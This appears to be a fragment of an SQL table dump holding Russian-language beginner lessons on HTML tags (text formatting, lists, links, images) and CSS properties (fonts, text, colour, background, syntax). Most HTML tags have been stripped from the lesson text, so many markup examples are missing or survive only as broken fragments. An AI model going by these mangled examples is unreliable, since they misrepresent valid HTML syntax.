первая строка \r\n теперь идет вторая \r\n\r\n\r\n а вот уже и третья\r\n\r\n\r\n А это параграф и внутри него тоже можно использовать тег \r\n переноса строки.Его надо использовать всегда, когда надо перенести строку:) \r\n\r\n Т.е. мы взяли две строчки кода, заключили их в контейнер DIV ивыравняли его по правому краю! Так же само, можно заключить в контейнер и 20 и 50 и более строчек и манипулировать ими.\r\n Примечание: Находящиеся между начальным и конечным тегами текст или HTML-элементывыделяются как Например:\r\n Пока что вы читаете текст на первой строке \r\n Но теперь уже на второй \r\n А теперь уже на третей\r\n Результат:\r\n Как видите текст содержащийся в элементе DIV выделился в отдельную строку!\r\n SPAN - Используется для выделения части информации ипридания ей различных стилей. Закрывающий тег обязателен!\r\n Сам по себе, без использования стилей, элемент SPAN никакого смысла не имеет!\r\n Например:\r\n Хотите пользоваться  Adobe Dreamweaver  - тогда изучите хотя бы основы html и \r\n\r\n тогда Вы без проблем разберетесь с этой замечательной программой!\r\n Что мы увидим:\r\n Как видите, как будто мы ничего и не выделяли! Но если прописать какой нибудь стиль этому тегу, то он начнет работать!','','files_4676_5321_'),(23,2,'Урок 4: Продолжаем работать с текстом','Чтобы придать тексту ту или иную гарнитуру в html используются такие элементы:\r\n - STRONG\r\n Используется для выделения текста жирным\r\n - EM\r\n Используется для выделения текста курсивом\r\n - U\r\n Выделение текста подчеркиванием\r\n - S\r\n Перечеркивание текста\r\n - SUP\r\n Создание верхнего индекса\r\n - SUB\r\n Создание нижнего индекса\r\n - FONT\r\n Изменение цвета, типа, размера шрифта\r\n - HR\r\n Вставляет в текст горизонтальную разделительную линию\r\n STRONG - Выделяет текст, заключенный между открывающим и закрывающимтегами, жирным шрифтом. Раньше везде использовался тег  (или  ), в принципе его можно использовать и сейчас, но это не приветствуется поисковыми системами.\r\n Если в теле документа написать:\r\n Этот текст будет выделен жирным \r\n\r\n И этот тоже, но этим тегом лучше не пользоваться! \r\n Как видите, оба этих тега действуют одинаково. В программе Adobe Dreamweaver на панели форматирования текста написано &quot; B &quot;\r\n (просто это название более старое и большинство веб-мастеров привыкли к нему), хотя при нажатии на эту кнопочку в коде пишется тег  .\r\n EM ( Emphasis ) - Выделяет текст, заключенный между открывающим и закрывающим тегами, курсивом. Также аналогичен по действию тег  , однако его лучше не использовать т.к. это не приветствуется поисковыми системами.\r\n В программе Adobe Dreamweaver на панели форматирования текста написано &quot; I &quot; хотя в коде пишется EM .\r\n Приведу пример:\r\n Этот текст будет выделенкурсивом \r\n\r\n И этот тоже, но лучше пользоваться тегом EM \r\n U(Underline) - Отображает помещенный между открывающим и закрывающим тегами текст как подчеркнутый.\r\n Если в теле документа написать:\r\n Этот текст будет подчеркнутым!!! \r\n S(Strike) - Текст, помещенный между открывающим  и закрывающим  тегами, будет перечеркиваться!\r\n Вниманиe акция! новая цена  50 000  20 000 рублей!\r\n SUP ( Superscript) - Отображает текст, заключенныймежду открывающим  и закрывающим  тегами, как верхний индекс от основного текста.\r\n 2  2  = 4 ; \r\n\r\n 2  3  = 8 ; \r\n\r\n 2  4  = 16 ;\r\n SUB(Subscript) - Отображает текст, заключенныймежду открывающим  и закрывающим  тегами, как нижний индекс от основного текста.\r\n Формула спирта в химии - С  2  Н  5  ОН\r\n FONT - Позволяет изменять цвет, размер и тип шрифта текста, находящегося между открывающим  и закрывающим  тегами.\r\n Атрибуты:\r\n SIZE - Определяет размер шрифта. Возможные значение - 1 , 2 , 3 , 4 , 5 , 6 , 7.\r\n COLOR - Определяет цвет текста. Задается либо RGB-значением в шестнадцатиричной системе, либо одним из 16 базовых цветов.\r\n FACE - определяет используемый шрифт. Используйте Times New Roman, Arial, Tahoma, Courier, Courier New. Они установлены почти у всех. Иначе гарантий нет!\r\n Если в теле документа написать:\r\n Это обычный текст \r\n\r\n Увеличенный красный шрифт \r\n\r\n\r\n Моноширинный фиолетовый текст 3 размера \r\n Если написано SIZE=&quot;+2&quot; то это означает увеличить на 2 единицы шрифт по сравнению со стандартным. Обычно стандартный размер шрифта равен 3 .\r\n Примечание: В дальнейшем(после изучения css) лучше вообще все что связано с типом, размером и цветом шрифта делать через таблицы стилей. Это гораздо удобнее, тем более многие элементы форматирования текста расположенные внутри элемента FONT, работают некорректно.\r\n HR- служит для вставки в текст горизонтальной линии. Закрывающего тега нет!\r\n Атрибуты:\r\n WIDTH – определяет длину линии в пикселах или процентах от ширины окна браузера.\r\n SIZE – толщина линии в пикселах.\r\n ALIGN – определяет выравнивание горизонтальной линии. Атрибут может принимать следующие значения:\r\n left – выравнивание','','files_2743_2045_'),(24,2,'Урок 5: Заканчиваем с текстом','В этом уроке мы разберем такую немаловажную часть языка html как списки. Различают списки двух видов: упорядоченные (пронумерованные) и неупорядоченные (непронумерованные). Единственным отличием является то, что перед пунктаминеупорядоченных списков обычно ставятся символы-буллеты (bullets), например, точки, ромбики и т.п., в то время как пунктам упорядоченных списков предшествуют их номера.\r\n Элементы:\r\n - UL\r\n Создает неупорядоченный список\r\n - OL\r\n Создает упорядоченный список\r\n - LI\r\n Создает пункты списка внутри элементов OL или UL\r\n UL (Unsorted List) - Создает неупорядоченный список. Обязательно наличие закрывающиего тега, причем между начальным и конечным тегами должны присутствовать один или несколько элементов LI , обозначающих отдельные пункты списка.\r\n Например:\r\n\r\n Первый пункт списка \r\n\r\n Второй пункт списка \r\n\r\n Третий пункт списка \r\n\r\n Четвертый пункт списка \r\n\r\n\r\n OL (Ordered List)- Создает упорядоченный список. Между начальным и конечным тегами должны присутствовать один или несколько элементов LI , обозначающих отдельные пункты списка.\r\n Атрибуты:\r\n START – определяет первое число, с которого начинается нумерация пунктов. (только целые числа) . Если не указывать, начинается с начала.\r\n TYPE – определяет стиль нумерации пунктов списка.\r\n Возможные значения:\r\n &quot;A&quot; – заглавные буквы A, B, C ...\r\n &quot;a&quot; – строчные буквы a, b, c ...\r\n &quot;I&quot; – большие римские числа I, II, III ...\r\n &quot;i&quot; – маленькие римские числа i, ii, iii ...\r\n &quot;1&quot; – арабские числа 1, 2, 3 ...\r\n Значение по умолчанию \r\n .\r\n Приведу пример:\r\n\r\n Чтобы создать сайт на домашнем компьютере необходимо:\r\n\r\n Выучить html \r\n\r\n Выучить css \r\n\r\n Ознакомиться с php \r\n\r\n\r\n\r\n Чтобы создавать сайты быстро желательно:\r\n\r\n знания программы Adobe Dreamweaver \r\n\r\n знания программы TOpStylePro \r\n\r\n Знания Photoshop \r\n\r\n\r\n\r\n Чтобы зарабатывать на сайте желательно:\r\n\r\n наличие хорошей посещаемости \r\n\r\n наличие цифрового продукта для продажи \r\n\r\n наличие блоков рекламы \r\n\r\n\r\n\r\n Чтобы стать успешным в интернете:\r\n\r\n писать информацию полезную для людей \r\n\r\n постоянно пополнять сайт новым содержимым \r\n\r\n первый пункт придумай сам \r\n\r\n\r\n LI (List Item) - Создает пункт в списке. Располагается внутри элементов OL или UL. Закрывающий тег писать желательно, но не обязательно, это уже решать Вам.\r\n Атрибуты:\r\n VALUE – изменяет порядок нумерации элементов списка. Используется только если элемент LI находится внутри элемента OL . В качестве значения указывается порядковый номер элемента.\r\n Приведу пример:\r\n Чтобы создать сайт на домашнем компьютере необходимо:\r\n\r\n Выучить html \r\n\r\n\r\n Выучить css \r\n\r\n Ознакомиться с php','','files_4138_4940_'),(25,2,'Урок 6: html ссылки','В первую очередь давайте поговорим о ссылках - переходах с одной страницы на другую. Ссылки это базовый элемент без которого невозможно представить интернет.\r\n Создать html ссылку очень просто. Для этого используется простенький элемент с одним атрибутом. Ну вот например:\r\nhttp://www.zvirec.com&quot;&gt; Это ссылка на сайт zvirec.com \r\n Элемент а (ancor) является как бы якорем, т.е. текст, заключенный между открывающим  и закрывающим  тегом , будет текстом ссылки.\r\n Атрибут href это сокращение от&quot;hypertext reference/гипертекстовая ссылка&quot;, специфирует место, на которое выполняется переход по данной ссылке - обычно это internet-адрес и/или имя файла.\r\n Если нужно сделать ссылку между собственными страницами?\r\n Сделать html ссылку между страницами одного и того же веб-сайта гораздо проще. Например, если у нас есть две страницы(к примеру page1.htm и page2.htm ) расположенные водной папке , то код ссылки с page1 на page2 будет выглядеть так:\r\n Для перехода на page2 щелкни здесь! \r\n Т.е. надо просто написать название страницы, на которуюмы хотим перейти.\r\n Eсли страница page 2 находитсяв подпапке &quot;subfolder&quot; , код ссылки выглядит так:\r\n Для перехода на page2 щелкниздесь! \r\n Так будет выглядеть код html ссылки со страницы page 2 на page1(в обратную сторону):\r\n Для перехода на page1 щелкни здесь! \r\n Т.е. сочетание &quot; ../ &quot; указывает как бы на папку, расположенную на один уровень выше от данной позиции файла, с которого делается ссылка.\r\n А если надо сделать ссылку внутри страницы?\r\n Бывают случаи когда необходимо сделать ссылку с начала страницы в конец или наоборот, или к примеру с оглавления на главы и.т.д. Сделать ее очень просто! Необходимо пометить место документа следующей конструкцией:\r\n\r\n Раздел 1 \r\n\r\n\r\n Раздел1: \r\n\r\n Теперь вы можете ссылаться на помеченную область(в данном случае Раздел1) простым указанием ее имени после значка #.\r\n Вот как будет выглядеть ссылка на раздел1:\r\n Ссылка на Раздел 1 \r\n Приведу более наглядный пример:\r\n Оглавление \r\n\r\n\r\n Раздел 1: как стать богатым \r\n\r\n Раздел 2: как стать счастливым \r\n\r\n Раздел 3: как быть здоровым \r\n Раздел 1: какстать богатым \r\n\r\n\r\n Для того, чтобы стать богатым необходимо очень много трудиться ..... \r\n\r\n Раздел 2: какстать счастливым \r\n\r\n\r\n Для того чтобы стать счастливым, нужно использовать каждую минуту... \r\n\r\n Раздел3:  как быть здоровым \r\n\r\n\r\n Для того чтобы быть здоровым нужно много заниматься физкультурой... \r\n\r\n А можно сделать ссылку на почту?\r\n Конечно можно. Вот пример ссылки на е-mail сайта zvirec.com.\r\n Написать письмо админу zvirec.com \r\n В браузере будет выглядеть:\r\n Написать письмо админу zvirec.com\r\n Как вы видите, используется mailto потом двоеточие и емаилполучателя. При нажатии на ссылку запустится почтовая программа-клиент с заполненным полем имени получателя.\r\n Парочка дополнительных атрибутов:\r\n TARGET - указывает где открывать страницу на которуюведет html ссылка. По умолчанию она открывается в том же окне. Если хочется чтобы открывалась в новом, следует написать target=&quot;_blank&quot; .\r\n TITLE - указывает заголовок ссылки, который появляется при наведении на нее.\r\n Смотрите пример:\r\nhttp://www.zvirec.com&quot; target=&quot;_blank&quot;&gt;\r\n Это ссылка на сайт zvirec.com, откроется в новом окне\r\n\r\n\r\n\r\nhttp://www.zvirec.com&quot; title=&quot;Учебник создания сайта&quot;&gt;\r\n Эта - тоже на zvirec.com. При наведении появится заголовок.\r\n\r\n Смотрите на результат:\r\n Это ссылка на сайт zvirec.com, откроется в новом окне\r\n Эта - тоже на zvirec.com. При наведении появится\r\nзаголовок.\r\n Ну вот в принципе и всё. Можете сильно не зацикливаться, в программе Adobe Dreamweaver любая ссылка делается одним нажатием мышки. Главное для Вас, понять что к чему, а зазубривать не обязательно...\r\n А можно ли изменить цвет ссылок?\r\n Конечно можно. Чтобы изменять цвет ссылок во всем документе, существуют специальные атрибуты элемента BODY .\r\n LINK - цвет просто ссылок.\r\n ALINK (Active Link) - цвет активных ссылок (активная означает в момент нажатия на нее)\r\n VLINK (Visited Link) - цвет уже посещенных ссылок\r\n Все цвета задаются либо RGB-значением в шестнадцатиричной системе, либо одним из 16 базовых цветов.\r\n К примеру если при открытии тела документа, элементу body прописать:\r\n\r\n то все ссылки в данном документе станут красными, уже посещенные ссылки станут зелеными а ссылки в момент нажатия будут белыми.','','files_2449_4525_'),(26,2,'Урок 7: Работаем с изображениями','Изображения - это неотъемлемая часть любого сайта в сети интернет. Они используются везде, поэтому давайте разберемся что к чему. Есть три типа файлов изображений, которые можно вставить на ваши страницы:\r\n *.\r\n GIF (Graphics Interchange Format)\r\n *.\r\n JPG / JPEG (Joint Photographic Experts Group)\r\n *.\r\n PNG (Portable Network Graphics)\r\n Пара слов о форматах:\r\n GIF - использует всего 256 цветов и соответственно лучшеподходит для рисунков с малымкол-вом оттенков. Этот формат поддерживает прозрачность изображений.\r\n JPEG - формат изображений, который использует до миллиона цветов. Обычно используется для фотографий и качественной графики(с огромным количеством оттенков).\r\n PNG - сравнительно новый формат . По многим параметрам превосходит JPEG иGIF: миллионы цветов и эффективное сжатие. Также поддерживает прозрачность.\r\n В каком формате брать изображения - дело Ваше, однако старайтесь добиться максимального качества при минимальном размере .\r\n Вставить изображение на страницу очень просто. Вот пример если оно лежит в той же папке что и страница.\r\n\r\n Что нам понадобилось: элементIMG не имеющий закрывающего тега и атрибут SRC (сокращение от source - положение) который указывает где находится изображение. Вы легко можете вставлять изображения, размещенные в других папках или на других сайтах. Просто укажите правильный путь (примерно таккак при созданиии ссылок).\r\n Вот еще несколько примеров с комментариями:\r\n\r\n\r\n\r\n&quot;&gt;\r\n\r\n&quot;&gt;\r\n Вот еще очень необходимые атрибуты:\r\n ALIGN - определяет способ выравнивания картинки по горизонтали. Очень полезное свойство при обтекании картинки текстом. Обычно используют LEFT (выравниваниепо левому краю, текст будет обтекать справа) и RIGHT (выравнивание по правому краю, текст обтекает слева).Если на странице есть текст, то это обязательное свойство.\r\n HSPACE и VSPACE - отступы в пикселях по горизонтали и по вертикали от картинки до других обьектов документа. Легко запомнить название если взять и просто перевести с английского. HSPACE - Horizontal Space - горизонтальный отступ иVSPACE - Vertical Space - вертикальный отступ.\r\n HEIGHT и WIDTH - высота и ширина изображения в пикселах. Золотое правило web-мастера – всегда явно задавать размеры картинки в атрибутах HEIGHT и WIDTH, резервируя тем самым место в окне браузера еще до загрузки изображения. В противном случае документ при загрузке каждой картинки будет заново перерисовываться. А на медленных машинах (или при подключении к сети через модем) это смотрится просто отвратительно. Но в принципе, можно и не задавать размеры, просто будет дольше загружаться. И еще, не советую Вам искажать реальные размеры картинки.\r\n Ладно, лучше все смотреть на примерах:\r\n\r\n\r\n\r\n Любой Интернет бизнес немыслим без сайта. Так что первым делом не мешало бы научиться создавать сайты. В данном случае фраза&quot;научиться создавать сайты&quot; будет означать - знать на хорошем уровне язык гипертекстовой разметки HTML и каскадные таблицы стилей CSS, которые значительно расширяют возможности HTML и позволяют создавать действительно стильные и качественные сайты. \r\n\r\n\r\n\r\n\r\n Любой Интернет бизнес немыслим без сайта. Так что первым делом не мешало бы научиться создавать сайты. В данном случае фраза&quot;научиться создавать сайты&quot; будет означать - знать на хорошем уровне язык гипертекстовой разметки HTML и каскадные таблицы стилей CSS,которые значительно расширяют возможности HTML и позволяют создавать действительно стильные и качественные сайты. \r\n\r\n\r\n\r\n\r\n\r\n Любой Интернет бизнес немыслим без сайта. Так что первым делом не мешало бы научиться создавать сайты. В данном случае фраза&quot;научиться создавать сайты&quot; будет означать - знать на хорошем уровне язык гипертекстовой разметки HTML и каскадные таблицы стилей CSS, которые значительно расширяют возможности HTML и позволяют создавать действительно стильные и качественные сайты.','','files_4238_4099_'),(36,4,'Урок 4: Шрифты в CSS','В этом уроке мы посмотрим каквыглядят шрифты в CSS, а именно рассмотрим основные свойства шрифтов :семейство, вес, стиль, вариант, размер,также узнаем по какому принципу браузер выбирает нужный шрифт.\r\nТак вот за шрифты в CSS отвечают следующие свойства:\r\n*. font-family\r\n*. font-style\r\n*. font-variant\r\n*. font-weight\r\n*. font-size\r\n*. font\r\nСвойство FONT-FAMILY\r\nДанное свойство определяет гарнитуру шрифта. Вообще FONT-FAMILY с англ. означает семейство шрифта. Дело в том, что шрифты по тем или иным признакам, объединяются в семейства. Я рассмотрю три основных семейства:\r\nSerif - шрифты с характерными&quot;засечками&quot;, наиболее яркий представитель - &quot;Times New Roman&quot;;\r\nSans-serif - шрифты рубленые, без засечек, например Arial или Verdana ;\r\nMonospace - моноширинные шрифты (с одинаковым расстоянием между символами,наподобие печатной машинки), такие как &quot;Courier New&quot;;\r\nНа рисунке ниже изображены названия основных, используемых на практике, шрифтов, сгруппированные по семействам. Причем отображены они именно так, как выглядят на самом деле, например название &quot;Times New Roman&quot; отображено шрифтом&quot;Times New Roman&quot; , ну вы поняли....\r\nМожет Вам интересно, почему некоторые шрифты мы заключаем в кавычки? А дело в том, что есть такое правило:&quot;Если в названии шрифта встречаются пробелы, то его следует заключать в кавычки&quot; .\r\nh1 { font-family : verdana, arial, sans-serif ;}\r\np { font-family : &quot;Times New Roman&quot;, serif ;}\r\n\r\nТ.е. в начале пишется самый приоритетный шрифт, затем менее приоритетный, а затем желательно писать имя семейства. Надпись из примера выше -\r\nh1 { font-family : verdana, arial, sans-serif ;} означает, что все заголовки первого уровня будут отображаться шрифтом verdana . Если по каким либо причинам этот шрифт не установлен на компьютере, то браузер подставит шрифт arial , а если и его нет, то браузер подставит любой доступный шрифт из семейства serif . Вот так\r\nСвойство FONT-STYLE\r\nДанное свойство задает стиль шрифта. Может принимать три значения:\r\n*. normal - обычный;\r\n*. italic - курсивный;\r\n*. oblique - наклонный;\r\nУ вас может возникнуть вопрос:&quot;чем отличается курсивный от наклонного?&quot; , - дело в том, что значение italic означает использование встроенного в шрифт курсивного начертания. Ведь почти каждый шрифт включает в себя все символы и буквы в нормальном исполнении, в полужирном исполнении и в курсивном.\r\nА значение oblique - это искусственно созданный курсив, т.е. созданный наклоном стандартных букв на определенный угол.\r\nh1 {\r\nfont-family: verdana, arial, sans-serif;\r\nfont-style : normal ;\r\n}\r\nh2 {\r\nfont-family: verdana, arial, sans-serif;\r\nfont-style : italic ;\r\n}\r\nh3 {\r\nfont-family: verdana, arial, sans-serif;\r\nfont-style : oblique ;\r\n}\r\n\r\n\r\nСвойство FONT-VARIANT\r\nЭто свойство используется для выбора варианта написания букв нижнего регистра. Может принимать два значения:\r\nnormal - значение по умолчанию, текст отображаетсяобычным образом.\r\nsmall-caps - буквы нижнего регистра отображаются как уменьшенные заглавные.\r\nТ.е. как видите большие(заглавные буквы) остаются без изменений, а маленькие - представляют собой полную копию заглавныхбукв, только слегка меньшего размера.\r\nПо умолчанию (т.е. если вообщене записывать это свойство) текст будет отображаться обычным начертанием.\r\nПример записи стиля:\r\nh1 {\r\nfont-family: verdana, arial, sans-serif;\r\nfont-variant : small-caps ;\r\n}\r\nh2 {font-family: verdana, arial, sans-serif;}\r\nСвойство FONT-WEIGHT\r\nЭто свойство определяет насыщенность шрифта, т.е. с егопомощью можно сделать шрифт жирным. Основные значения: normal - обычный и bold - жирный.','','files_2321_4563_'),(37,4,'Урок 5: Текст в CSS','В этом уроке мы рассмотрим основные свойства CSS отвечающие за форматирование текста.\r\n*. text-align\r\n*. text-decoration\r\n*. text-indent\r\n*. text-transform\r\n*. letter-spacing\r\n*. word-spacing\r\nСвойство TEXT-ALIGN\r\nСвойство выравнивания текста, аналогичное атрибуту ALIGN используемому в html. Может принимать четыре значения:\r\nleft - выравнивание по левому краю(значение по умолчанию);\r\nright - выравнивание по правому краю;\r\ncenter - выравнивание по центру;\r\njustify - выравнивание по ширине(по правому и левому краям одновременно).\r\nТут все очень просто, ну вот например:\r\nh1 { text-align : center ;}\r\nh2 { text-align : left ;}\r\nh3 { text-align : right ;}\r\np { text-align : justify ;}\r\nСвойство TEXT- DECORATION\r\nПозволяет оформлять текст определенным образом. Рассмотрим четыре основных значения данного свойства:\r\nnone - значение по умолчанию. Дополнительного оформления не происходит;\r\nunderline - текст подчеркивается снизу;\r\noverline - текст надчеркивается сверху;\r\nline-through - текст перечеркивается;\r\nh1 {\r\ntext-align:center;\r\ntext-decoration : underline ;\r\n}\r\nh2 {\r\ntext-align:center;\r\ntext-decoration : overline ;\r\n}\r\nh3 {\r\ntext-align:center;text-decoration : line-through ;\r\n}\r\nЭто свойство частенько используется при задании оформления ссылок, к примеру для того, чтобы при наведении на ссылку убиралось подчеркивание. Подробнее о ссылках в следующем уроке.\r\nСвойство TEXT-INDENT\r\nЭто свойство пригодится нам для создания отступов первой строки, другими словами абзацев. Значение лучше задавать в пикселах, это универсальный способ.\r\nh1 {text-align:center;}\r\np {\r\ntext-indent : 40px ;\r\n}\r\nОднако можно задать и в процентах от общей длины базовой строки(строки без отступа)\r\nh1 {text-align:center;}\r\np {\r\ntext-indent : 20% ;\r\n}\r\nКак видите, все очень просто, а в html это сделать гораздо сложнее.\r\nСвойство TEXT-TRANSFORM\r\nC помощью этого свойства, можно видоизменять текст, а именно менять большие буквы на маленькие или наоборот. Может иметь такие значения:\r\ncapitalize - меняет регистр первых букв каждого слова так,чтобы они были заглавными. Например:&quot;создайте сайт сейчас&quot; станет &quot;Создайте Сайт Сейчас&quot; .\r\nЧастенько это свойство используется при написании рекламных текстов, это больше привлекает внимания!\r\nuppercase - делает из всех букв заглавные. Например: &quot;текст в css &quot; станет &quot; ТЕКСТ В CSS &quot;\r\nlowercase - делает из всех букв маленькие. Например:&quot;TRANSFORM&quot; cтанет&quot;transform&quot;.\r\nnone - не производит смены регистра; это значение используется по умолчанию.\r\nСвойство LETTER-SPACING\r\nC помощью этого свойства можно изменять расстояние между буквами. Значение лучшеуказывать в пикселях.\r\nh1 { letter-spacing : 10px ;}\r\np { letter-spacing : 4px ; }\r\nВ примере выше для заголовков установлен интервал между буквами в 10 px, а для параграфов в 4px;\r\nСвойство WORD-SPACING\r\nПозволяет изменять расстояниемежду словами. Значение такжелучше задавать в пикселах.\r\nh1 { word-spacing : 20px ;}\r\np { word-spacing : 10px ; }\r\nА вообще, при создании того или иного шрифта, разработчиками идеально выбираются интервалы между буквами и словами, и поэтому применять последние два свойства я вообще не советую. Исключением может быть своеобразное дизайнерское решение или что-то типа того...','','files_2236_4955_'),(34,4,'Урок 3: Цвет и фон в CSS','Этот урок мы посвятим такому важному моменту как цвет и фон в CSS . Вы увидите, как прикольно, и насколько эффективнее чем в html, все этоработает!\r\nЗапомни: цвета в CSS указываются так же, как и в html. Т.е. можно указывать шестнадцатиричное значение, например #ff3355, либо же название цвета (red, green, blue и др.)\r\nОсновными свойствами цвета ифона в CSS являются:\r\n*. color\r\n*. background-color\r\n*. background-image\r\n*. background-repeat\r\n*. background-attachment\r\n*. background-position\r\n*. background\r\nА теперь подробнее, и по-порядку:\r\nСвойство COLOR\r\nЗадает основной цвет(цвет переднего плана) того или иного элемента. Например, еслимы хотим сделать цвет всех заголовков первого уровня красным, а цвет текста параграфов зеленым, то таблица стилей будет выглядетьтак:\r\nH1 {\r\ncolor: red ;\r\n}\r\nP {\r\ncolor: green ;\r\n}\r\n\r\nДля удобства восприятия я выделил свойства и их значения разными цветами.\r\nСвойство BACKGROUND-COLOR\r\nЗадает фоновый цвет элемента. В отличие от html, в котором фоновый цвет можно использовать только для страницы или ячейки таблицы(т.е. имеющих атрибут bgcolor ) в CSS , фоновый цвет можно задавать для чего угодно: для таблиц, заголовков, параграфов, ссылок и др. Тут главное правильно определить что нам нужно.\r\nНу вот например, чтобы изменить фоновый цвет всей страницы, нужно задать это свойство элементу BODY - т.к. именно он отвечает за тело документа , т.е. за всю страницу.\r\nBODY {\r\nbackground-color : #FFEE8C ;\r\n}\r\nH1 {\r\ncolor: red ;\r\nbackground-color : blue ;\r\n}\r\nP {\r\ncolor: green ;\r\n}\r\n\r\nТочно так же, можно было бы задать фоновый цвет и для параграфов. Для закрепления материала попробуйте поэкспериментировать.\r\n\r\nСвойство BACKGROUND-IMAGE\r\nДанное свойство используется для задания фонового изображения. В примере ниже, я укажу фоновое изображения для всей страницы, т.е. для элемента BODY.\r\nBODY {\r\nbackground-color : #FFEE8C ;\r\nbackground-image : url(smile.png) ;\r\n}\r\nH1 {\r\ncolor: red ;\r\nbackground-color :blue ;\r\n}\r\nP {\r\ncolor: green ;\r\n}\r\n\r\nКак видите, в качестве значениясвойства, указывается путь к изображению, но немного не так как в html. В начале пишется URL а затем сразу, Без пробелов!!! в круглых скобках положение картинки. Если она находится в той же папке, то пишем просто название картинки, как в примере выше. Если допустим в подпапке img , то пишем так url(img/smile.png) ,ну Вы поняли...\r\nФоновое изображение в CSS можно задавать для любого элемента, не только для таблиц и всей страницы. Вверху, две картинки смайлика - большая и маленькая. Попробуйте сохранить их себе на компьютер и потренироваться. Большой смайлик поставьте на фон всей страницы, а маленький - на фон заголовков первого уровня.\r\nКто не знает, чтобы сохранить изображение просто наведите на него указатель, клацните правой кнопкой и выберите&quot;Сохранить рисунок&quot;.\r\n\r\nСвойство BACKGROUND-REPEAT\r\nВы наверное заметили, что фоновое изображение по-умолчанию повторяется начиная с верхнего левого угла, как по вертикали , так и по горизонтали, , пока не заполнит весь экран. Так вот, с помощью свойства background-repeat мы можем контролировать эти повторения.\r\nЭто свойство может принимать четыре значения:\r\nBackground-repeat: repeat-x ; повторение по горизонтали Смотри пример\r\nBackground-repeat: repeat- y ; повторение по вертикали Смотри пример\r\nBackground-repeat: repeat ; по вертикали и по горизонтали (значение по-умолчанию) Смотри пример\r\nBackground-repeat: no-repeat','','files_3965_4478_'),(35,4,'Урок 3: Цвет и фон в CSS часть2','Свойство BACKGROUND-POSITION\r\nЗадает позицию фонового изображения. Значения можно задавать в процентах, в единицах длины и при помощи ключевых слов. Отсчет как обычно ведется из левого верхнего угла браузера, где и располагается фоновое изображение по умолчанию. На рисунке приведены примеры позиционирования(точка это типа изображение, а то что под ней - приблизительные координаты)\r\nВ начале указываем координатупо горизонтали (по оси Х), затемчерез пробел координату по вертикали (по оси Y ). Координату можно задавать в процентах от ширины окна браузера, также в пикселях. Можно задавать и в сантиметрах, но не советую.\r\nТакже положение можно задавать специальными словами:\r\nleft - лево, right - право, center -центр, top - верх, bottom - низ .\r\nПримеры стилей:\r\nBODY {\r\nbackground-image : url(smile.png) ;\r\nbackground-repeat: no-repeat;\r\nbackground-position : top right ;\r\n}\r\nBODY {\r\nbackground-image : url(smile.png) ;\r\nbackground-repeat: no-repeat;\r\nbackground-position: 300px 500px ;\r\n}\r\nBODY {\r\nbackground-image : url(smile.png) ;\r\nbackground-repeat: no-repeat;\r\nbackground-position: 75% 25% ;\r\n}\r\nСокращенная форма записи - BACKGROUND\r\nСвойство BACKGROUND служит для сокращенной записи всех выше расмотренных свойств.\r\nПорядок свойств этого элемента таков:\r\nbackground-color _ background-image _ background-repeat _ background-attachment _ background-position\r\nТ.е. просто записывается пять значений свойств через пробел.Рассмотрев пример ниже Вам станет все понятно:\r\nТо что записано так:\r\nBODY {\r\nbackground-color: #ffee8c ;\r\nbackground-image : url(smile.png) ;\r\nbackground-repeat: no-repeat;\r\nbackground-attachment: fixed;\r\nbackground-position: top right;\r\n}\r\nМожно записать одной строчкой:\r\nBODY {\r\nbackground : #ffee8c url(smile.png) no-repeat fixed top right ;\r\n}\r\nКак видите, пишем значения свойств через пробел. Если какое либо свойство не указать,то ему автоматически присвоится значение по- умолчанию.','','files_1244_5621_'),(32,4,'Урок 2: Синтаксис и принцип работы CSS','Как и любой другой язык\r\nпрограммирования, CSS имеет\r\nстрого определенный\r\nсинтаксис, т.е. правила по\r\nкоторым создаются таблицы\r\nстилей. Запомните, в CSS в\r\nотличие от HTML нет ни\r\nэлементов, ни атрибутов, ни\r\nтегов. Основной структурной\r\nединицей здесь является\r\nправило, которое определяет,\r\nкак будет выглядеть тот или\r\nКак\r\nиной элемент в документе.\r\nКак подключить CSS таблицу к HTML документу?\r\nКак вы уже знаете, вся фишка\r\ncss в том, что меняя стилевые\r\nправила во внешней таблице\r\nстилей, мы можем управлять\r\nдизайном сколь угодно\r\nбольшого количества страниц.\r\nНо для этого нам нужно\r\nподключить внешнюю\r\nтаблицу стилей ко всем\r\nстраницам html, дизайном\r\nкоторых мы хотим управлять.\r\nДавайте по-порядку:\r\nВнешняя таблица стилей это\r\nпросто текстовый файл с\r\nрасширением .css.\r\nДопустим у нас есть таблица\r\nстилей style.css и несколько\r\nстраниц html, и причем все это\r\nрасположено в одной папке.\r\nТогда в каждом документе\r\nкоторый мы хотим\r\nподключить, в голове\r\nдокумента(между тегами\r\nМежду HTML и CSS много\r\nобщего, и поэтому запомнить\r\nсвойства CSS Вам будет очень\r\nпросто.\r\nи )\r\nнеобходимо прописать\r\nстрочку:\r\n\r\ntype=&quot;text/css&quot;\r\nhref=&quot;style.css&quot;&gt;\r\nЭта строка указывает браузеру,\r\nчто\r\nон должен использовать\r\nправила отображения HTML-\r\nфайла из CSS-файла.\r\nТеперь попробуйте сами:\r\nОткройте Блокнот(или другой\r\nредактор) и создайте с\r\nпомощью него два файла\r\nнаходящихся в одной папке:\r\nCSS файл - style.css и HTML\r\nфайл - index.htm . Напомню\r\nдля тех , кто забыл как это\r\nделать: просто открываете\r\nблокнот, выбираете &quot;Файл&quot;\r\nзатем &quot;сохранить как&quot; и в\r\nполе имя файла пишите\r\nstyle.css . Аналогично для\r\nindex.htm .\r\nФайлы примерно следующего\r\nсодержания:\r\nindex.htm','','files_5592_2282_'),(33,4,'Урок 2: Синтаксис и принцип работы CSS часть2','Работаем со стилями title&gt;\r\n\r\ntype=&quot;text/css&quot;\r\nhref=&quot;style.css&quot; &gt;\r\n\r\n\r\n\r\nЭто моя первая таблица\r\nстилей, и если все работает, то\r\nнесмотря на то, что это\r\nзаголовок первого уровня, он\r\nотобразится высотой всего\r\nлишь 14 пикселей и будет\r\nголубого цвета\r\n\r\n\r\n\r\nstyle.css\r\nh1{color:blue;font-size:14px}\r\n\r\nW3C//DTD HTML 4.01\r\nTransitional//EN&quot;\r\n&quot;http://www.w3.org/TR/\r\nhtml4/loose.dtd&quot;&gt;\r\n\r\nВам не советую, т.к. это очень\r\nнеудобно.\r\nМожно располагать правила\r\nстилей непосредственно в\r\nголове документа:\r\n\r\nW3C//DTD HTML 4.01\r\nTransitional//EN&quot;\r\n&quot;http://www.w3.org/TR/\r\nhtml4/loose.dtd&quot;&gt;\r\n\r\n\r\n\r\nРаботаем со стилями title&gt;\r\n\r\n\r\n\r\n\r\nЭто моя первая таблица\r\nстилей, и если все работает, то\r\nнесмотря 